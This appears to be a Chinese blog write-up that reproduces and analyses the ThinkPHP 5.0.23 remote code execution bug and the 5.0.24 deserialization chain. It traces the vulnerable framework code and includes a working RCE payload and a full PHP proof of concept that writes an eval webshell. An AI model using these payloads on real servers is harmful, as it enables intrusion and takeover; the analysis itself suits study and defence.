目录

之前审过,没怎么做笔记,再审一下,主要还是复现一下。。

thinkphp5.0.x

配置环境

安装ThinkPHP · ThinkPHP5.0完全开发手册 · 看云 (kancloud.cn)

安装方法可以用composer,参考上面链接,composer可以在phpstudy上下

composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/
composer create-project topthink/think=5.0.*   --prefer-dist

版本可以通过改composer.json完成

image-20230805010821043

在当前目录下运行

composer install

如果rce不通的话,再装个captcha模块,tp5.0的版本是使用1.,tp5.1的版本是使用2.

composer require topthink/think-captcha 1.*

结合phpstudy和phpstorm进行调试

基础知识

thinkphp的目录结构:

project  应用部署目录
├─application           应用目录(可设置)
│  ├─common             公共模块目录(可更改)
│  ├─index              模块目录(可更改)
│  │  ├─config.php      模块配置文件
│  │  ├─common.php      模块函数文件
│  │  ├─controller      控制器目录
│  │  ├─model           模型目录
│  │  ├─view            视图目录
│  │  └─ ...            更多类库目录
│  ├─command.php        命令行工具配置文件
│  ├─common.php         应用公共(函数)文件
│  ├─config.php         应用(公共)配置文件
│  ├─database.php       数据库配置文件
│  ├─tags.php           应用行为扩展定义文件
│  └─route.php          路由配置文件
├─extend                扩展类库目录(可定义)
├─public                WEB 部署目录(对外访问目录)
│  ├─static             静态资源存放目录(css,js,image)
│  ├─index.php          应用入口文件
│  ├─router.php         快速测试文件
│  └─.htaccess          用于 apache 的重写
├─runtime               应用的运行时目录(可写,可设置)
├─vendor                第三方类库目录(Composer)
├─thinkphp              框架系统目录
│  ├─lang               语言包目录
│  ├─library            框架核心类库目录
│  │  ├─think           Think 类库包目录
│  │  └─traits          系统 Traits 目录
│  ├─tpl                系统模板目录
│  ├─.htaccess          用于 apache 的重写
│  ├─.travis.yml        CI 定义文件
│  ├─base.php           基础定义文件
│  ├─composer.json      composer 定义文件
│  ├─console.php        控制台入口文件
│  ├─convention.php     惯例配置文件
│  ├─helper.php         助手函数文件(可选)
│  ├─LICENSE.txt        授权说明文件
│  ├─phpunit.xml        单元测试配置文件
│  ├─README.md          README 文件
│  └─start.php          框架引导文件
├─build.php             自动生成定义文件(参考)
├─composer.json         composer 定义文件
├─LICENSE.txt           授权说明文件
├─README.md             README 文件
├─think                 命令行入口文件

get传参s

我们知道可以通过http://127.0.0.1/public/index.php?s=index的方式通过s参数传递具体的路由。

thinkphp5.0.23 rce漏洞

payload如下:

http://thinkphp5023/?s=captcha
_method=__construct&filter[]=system&server[REQUEST_METHOD]=whoami

借用网上的一张图梳理一下大概流程

image-20230805135515666

知道大概流程后开始详细分析,从漏洞点开始着手,一步步往上走

定位到

thinkphp\library\think\Request.php

漏洞点是在call_user_func

    private function filterValue(&$value, $key, $filters)
    {
        $default = array_pop($filters);
        foreach ($filters as $filter) {
            if (is_callable($filter)) {
                // 调用函数或者方法过滤
                $value = call_user_func($filter, $value);
            } elseif (is_scalar($value)) {
                if (false !== strpos($filter, '/')) {
                    // 正则过滤
                    if (!preg_match($filter, $value)) {
                        // 匹配不成功返回默认值
                        $value = $default;
                        break;
                    }
                } elseif (!empty($filter)) {
                    // filter函数不存在时, 则使用filter_var进行过滤
                    // filter为非整形值时, 调用filter_id取得过滤id
                    $value = filter_var($value, is_int($filter) ? $filter : filter_id($filter));
                    if (false === $value) {
                        $value = $default;
                        break;
                    }
                }
            }
        }
        return $this->filterExp($value);
    }

哪里有调用filterValue的地方呢

image-20230805170323538

其实也不算多,一个个翻一下,发现input方法

    public function input($data = [], $name = '', $default = null, $filter = '')
    {
        if (false === $name) {
            // 获取原始数据
            return $data;
        }
        $name = (string) $name;
        if ('' != $name) {
            // 解析name
            if (strpos($name, '/')) {
                list($name, $type) = explode('/', $name);
            } else {
                $type = 's';
            }
            // 按.拆分成多维数组进行判断
            foreach (explode('.', $name) as $val) {
                if (isset($data[$val])) {
                    $data = $data[$val];
                } else {
                    // 无输入数据,返回默认值
                    return $default;
                }
            }
            if (is_object($data)) {
                return $data;
            }
        }

        // 解析过滤器
        $filter = $this->getFilter($filter, $default);

        if (is_array($data)) {
            array_walk_recursive($data, [$this, 'filterValue'], $filter);
            reset($data);
        } else {
            $this->filterValue($data, $name, $filter);
        }

        if (isset($type) && $data !== $default) {
            // 强制类型转换
            $this->typeCast($data, $type);
        }
        return $data;
    }

在这里我们控制$data$filter就可以实现rce,控制,这里的filter由getFilter函数控制

image-20230805173254376

跟进去,可以知道$filter与类属性的$filter值相同,那么我们只要控制类中属性$filter的值即可,我们再看看$data

image-20230805173527170

发现$data是由传进来的$dataname决定

那么看看哪里用到了input函数

image-20230805171118379

payload中选择的是870行的server函数

    public function server($name = '', $default = null, $filter = '')
    {
        if (empty($this->server)) {
            $this->server = $_SERVER;
        }
        if (is_array($name)) {
            return $this->server = array_merge($this->server, $name);
        }
        return $this->input($this->server, false === $name ? false : strtoupper($name), $default, $filter);
    }

这里我们需要控制的是$this->server$name,$this->server就是该类的server属性

image-20230805174023071

继续往上找,可以看到method函数是有调用server函数的

    public function method($method = false)
    {
        if (true === $method) {
            // 获取原始请求类型
            return $this->server('REQUEST_METHOD') ?: 'GET';
        } elseif (!$this->method) {
            if (isset($_POST[Config::get('var_method')])) {
                $this->method = strtoupper($_POST[Config::get('var_method')]);
                $this->{$this->method}($_POST);
            } elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
                $this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
            } else {
                $this->method = $this->server('REQUEST_METHOD') ?: 'GET';
            }
        }
        return $this->method;
    }

现在我们看method函数是怎么运行的。

调试中不难发现method函数是先进入分支,要进入下一个if则需要要设置_method的值,我们可以将其设置成__construct,为什么要设置成__construct,因为__construct函数可以实现变量覆盖

image-20230805195141561

image-20230805180851240

继续跟进去

image-20230805180935409

进去是__construct函数

image-20230805181008743

在Request类中,在__construct函数中存在变量覆盖,可以覆盖Request类中的filter属性和server属性

image-20230805181134119

回归到最初问题,我们是要调用server函数的,那么method就是要为true的

调试中,我们可以看到param函数中,调用了method方法,且参数为true

image-20230806010443676

那看哪里调用了param函数,App.php中exec函数就调用了param函数

image-20230806010907416

而App.php中run函数就调用了exec函数

thinkphp程序都是从App.php开始的,那我们分析一下run函数,在run方法中进入routecheck

image-20230805235142101

在routecheck中跟进Route::check

image-20230805235609679

里面调用了method函数

image-20230805235725916

这里method函数运行完需要一个值,我们就可以令method=get,使代码正常运行,往下走就是接着上面的exec函数

所以post传参就为

_method=__construct&filter[]=system&server[REQUEST_METHOD]=whoami

总体流程就如下:

image-20230806002845809

还有另外一条路的payload是

http://thinkphp5023/index.php?s=captcha
post:_method=__construct&filter[]=system&method=get&get[]=whoami

注:如果开了debug模式的话,就可以不用get传参,直接

_method=__construct&filter[]=system&server[REQUEST_METHOD]=whoami

修复:在method这里加了白名单进行过滤

image-20230806012225401

参考:

[框架漏洞]ThinkPHP 5.0.0~5.0.23 RCE 漏洞分析_tp5.0.23 rce 分析_Y4tacker的博客-CSDN博客

https://assassins-white.github.io/2021/12/31/ThinkPHP5-0-23-RCE-Debug%E5%85%B3%E9%97%AD-%E5%85%8D%E8%B4%B9%E5%AE%9D%E5%A1%94-PHP7/

thinkphp5.0.23变量覆盖导致的RCE分析与复现 - FreeBuf网络安全行业门户

ThinkPHP 5.0.x-5.0.23、5.1.x、5.2.x 全版本远程代码执行漏洞分析 – 绿盟科技技术博客 (nsfocus.net)

thinkphp5.0.24反序列化漏洞

image-20230806111813633

composer install

image-20230806112241412

加上反序列化点

$a = unserialize($_GET['a']);
var_dump($a);

先放出网上的流程图

2dc39a74112c48508c685572e4395a36

poc:

<?php

namespace think\process\pipes;
abstract class Pipes
{
}

use think\model\Pivot;

class Windows extends Pipes
{
    private $files = [];

    function __construct()
    {
        $this->files = [new Pivot()];
    }
}

namespace think;

abstract class Model
{
    protected $append = [];
    protected $error;
    protected $parent;
}

namespace think\model;

use think\Model;
use think\console\Output;
use think\model\relation\HasOne;

class Pivot extends Model
{
    public $parent;

    function __construct()
    {
        $this->append = ["getError" => "getError"];
        $this->parent = new Output();
        $this->error = new HasOne();
    }
}

namespace think\db;

use think\console\Output;

class Query
{
    protected $model;

    function __construct()
    {
        $this->model = new Output();
    }
}

namespace think\model;
abstract class Relation
{
    protected $selfRelation;
    protected $query;
}

namespace think\model\relation;

use think\model\Relation;

abstract class OneToOne extends Relation
{
    protected $bindAttr = [];
}

use think\db\Query;

class HasOne extends OneToOne
{
    function __construct()
    {
        $this->selfRelation = false;
        $this->query = new Query();
        $this->bindAttr = [1 => "file"];
    }
}

namespace think\console;

use  think\session\driver\Memcached;

class Output
{
    private $handle = null;
    protected $styles = [];

    function __construct()
    {
        $this->handle = new Memcached();
        $this->styles = ["getAttr"];
    }
}

namespace think\session\driver;

use think\cache\driver\File;

class Memcached
{
    protected $handler = null;
    protected $config = [];

    function __construct()
    {
        $this->handler = new File();
        $this->config = [
            'session_name' => '',
            'expire' => null,
        ];
    }
}


namespace think\cache\driver;
class File
{
    protected $options = [];
    protected $tag;

    function __construct()
    {
        $this->options = [
            'expire' => 0,
            'cache_subdir' => false,
            'prefix' => '',
            'path'=>'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php',
            'data_compress' => false,
        ];
        $this->tag = true;
    }

    public function get_filename()
    {
        $name = md5('tag_' . md5($this->tag));
        $filename = $this->options['path'];
        $pos = strpos($filename, "/../");
        $filename = urlencode(substr($filename, $pos + strlen("/../")));
        return $filename . $name . ".php";
    }
}


use think\process\pipes\Windows;

echo urlencode(serialize(new Windows()));#payload

echo "\n";
$f = new File();
echo $f->get_filename();#获取shell的文件名
\thinkphp\library\think\process\pipes\Windows.php

起点在__destruct

image-20230806123403783

跟进removeFiles方法

image-20230806123731485

我们可以看到这里有个file_exists,$filename我们可控,只需控制$filename为一个对象,那么就会触发__tostring方法,找一下__tostring

image-20230806124120367

我们选择用Model类的__tostring方法,而Model类是个抽象类

image-20230806124436461

什么是抽象类?PHP 有抽象类和抽象方法。定义为抽象的类不能被实例化。

所以我们要寻找看谁继承了抽象类

image-20230806124718744

我们可以选择pivot

所以$this->files=[new Pivot()]

然后我们就进入Model类的__tostring方法

image-20230806145542461

跟进toJson方法

image-20230806145627067

跟进toArray方法

 public function toArray()
    {
        $item    = [];
        $visible = [];
        $hidden  = [];

        $data = array_merge($this->data, $this->relation);

        // 过滤属性
        if (!empty($this->visible)) {
            $array = $this->parseAttr($this->visible, $visible);
            $data  = array_intersect_key($data, array_flip($array));
        } elseif (!empty($this->hidden)) {
            $array = $this->parseAttr($this->hidden, $hidden, false);
            $data  = array_diff_key($data, array_flip($array));
        }

        foreach ($data as $key => $val) {
            if ($val instanceof Model || $val instanceof ModelCollection) {
                // 关联模型对象
                $item[$key] = $this->subToArray($val, $visible, $hidden, $key);
            } elseif (is_array($val) && reset($val) instanceof Model) {
                // 关联模型数据集
                $arr = [];
                foreach ($val as $k => $value) {
                    $arr[$k] = $this->subToArray($value, $visible, $hidden, $key);
                }
                $item[$key] = $arr;
            } else {
                // 模型属性
                $item[$key] = $this->getAttr($key);
            }
        }
        // 追加属性(必须定义获取器)
        if (!empty($this->append)) {
            foreach ($this->append as $key => $name) {
                if (is_array($name)) {
                    // 追加关联对象属性
                    $relation   = $this->getAttr($key);
                    $item[$key] = $relation->append($name)->toArray();
                } elseif (strpos($name, '.')) {
                    list($key, $attr) = explode('.', $name);
                    // 追加关联对象属性
                    $relation   = $this->getAttr($key);
                    $item[$key] = $relation->append([$attr])->toArray();
                } else {
                    $relation = Loader::parseName($name, 1, false);
                    if (method_exists($this, $relation)) {
                        $modelRelation = $this->$relation();
                        $value         = $this->getRelationData($modelRelation);

                        if (method_exists($modelRelation, 'getBindAttr')) {
                            $bindAttr = $modelRelation->getBindAttr();
                            if ($bindAttr) {
                                foreach ($bindAttr as $key => $attr) {
                                    $key = is_numeric($key) ? $attr : $key;
                                    if (isset($this->data[$key])) {
                                        throw new Exception('bind attr has exists:' . $key);
                                    } else {
                                        $item[$key] = $value ? $value->getAttr($attr) : null;
                                    }
                                }
                                continue;
                            }
                        }
                        $item[$name] = $value;
                    } else {
                        $item[$name] = $this->getAttr($name);
                    }
                }
            }
        }
        return !empty($item) ? $item : [];
    }

进入到toarray方法后,应该考虑如何调用漏洞触发点Output.php中的__call方法

image-20230806150543198

选择触发这里,怎么才能触发这里

if (!empty($this->append))	

$this->append我们使其非空即可

if (is_array($name))

$name$this->append控制,使其不是数组即可

elseif (strpos($name, ‘.’))	

使其不包含.即可

if (method_exists($this, $relation))

这个要为true,$relation来自$name,这里的parseName函数可以等价看成$relation=$name

image-20230806151303294

那么只要$relation为一个类存在的方法即可,可以选择Model类的getError函数,其函数简单,返回的值可控

image-20230806151621178

所以这里$relation='getError'

继续往下走,跟进getRelationData函数

image-20230806151925267

image-20230806152018619

回顾一下,我们的目的是要调用Output.php中的__call方法,那么我们就得使$valuenew output

image-20230806152904078

回到getRelationData

image-20230806153117556

我们要这个函数返回值使new output$this->parent是可控的,但是要怎么进入这个if条件

首先$this->parent不能为空,这个很容易满足

第二个是!$modelRelation->isSelfRelation(),得让其返回值不为空:

$modelRelation我们可控,所以得找一个包含有这个方法的类并且返回值不为空

image-20230806153815399

image-20230806153832701

找到Relation类有这个方法,但是Relation类是个抽象类,要找继承其的类,等等再找,现在先分析if条件。

image-20230806153905272

第三个是

get_class($modelRelation->getModel()) == get_class($this->parent)

前面我们已经确定$this->parent要为output类,所以get_class($modelRelation->getModel())也要为output类,其次我们控制的$modelRelation也要有getModel方法

另外回到入口点,往下看看,发现$modelRelation还需要有getBindAttr()

image-20230806154633500

总结一下$modelRelation要继承 Relation类,还要有getModel方法和getBindAttr()

那现在找一下

image-20230806154744715

符合要求的有onetoone这个类,所以我们就让$modelRelation为这个类,但是onetoone还是个抽象类,还得看谁继承了onetoone这个类

image-20230806155053796

可以选择HasOne这个类,即$modelRelation=new hasone()

再回来看getRelationData函数

image-20230806155334526

我们需要令!$modelRelation->isSelfRelation()!$HasOne->isSelfRelation()为false

再看get_class($modelRelation->getModel()) == get_class($this->parent))

跟进看看hasone->getModel(),这里的$this->query我们可控

image-20230806155652092

全局搜索一下getModel(),发现query类的getmodel好用

image-20230806155806057

我们只需让$this->query=new query,并且query类的$this->modelnew output即可

那么$modelRelation->getModel()返回值与$this->parent的返回值相同,都为output对象,所以为真。

再回到model.php

image-20230806160200128

Hasone类存在getBindAttr方法所以进入if

然后进入了getBindAttr()函数

image-20230806160429323

$this->bindAttr是可控的

继续跟进

image-20230806160514714

这里要求$bindAttr为一个非空的数组,再往下走

image-20230806160742852

我们是要进入else这里的,所以这里的data我们将其设置为空

进入了漏洞触发的地方,这里的$attr是我们可控的点,我们这里设置$value=new output是因为output类没有getAttr方法,所以可以触发output类的call方法

跟进到output类的call方法

image-20230806161335405

我们要进入的是call_user_func_array([$this, 'block'], $args)

这个漏洞触发点

$method为“getAttr”,$this->styles是可控的,我们可以令其为["getAttr"]即可进入if

接着往下走,跟进block函数

image-20230806161806384

再往下走,跟进writeln函数

image-20230806161910931

这里write函数的第二个参数为true,跟进

image-20230806162009952

这里的handle是可控的,这里的$newline=true

这里我们可以再找一个类当作跳板

image-20230806162345192

我们可以使用Memcached类的write方法,所以令$this->handler=new Memcached()

image-20230806162558748

这里的handler依然可控因为think\cache\driver\File中的set() 方法可以写文件,所以我们这里的$this->handler=new file()

这样就调用了file类的set方法,注意这里的$sessData传参过来为true

跟进set方法

image-20230806180729658

因为传参进来的$value=true,所以我们不能直接利用$data写shell

image-20230806180910040

我们往下走可以看到setTagItem方法,参数是文件名$filename,跟进去

image-20230806181057983

发现setTagItem方法里面调用了set函数,这里传进来的文件名$filenameset函数就变成了文件内容,那么我们就可以写shell

$filenamegetCacheKey产生的

image-20230806181415022

跟进去

image-20230806181445573

这里的$this->options['cache_subdir']$this->options['prefix']我们可控。所以总的来说即首先给$name进行了MD5,然后给其添加了一个前缀$this->options['path']

$name为md5,不可控,而$this->options['path']可控,所以利用

$this->options['path']写shell

后面就是常见的死亡绕过

$this->options['path']='php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php'

image-20230806195741968

参考:

Thinkphp 5.0.24反序列化漏洞导致RCE分析_thinkphp 5.0.24 rce_浔阳江头夜送客丶的博客-CSDN博客

thinkphp5.1.x

占坑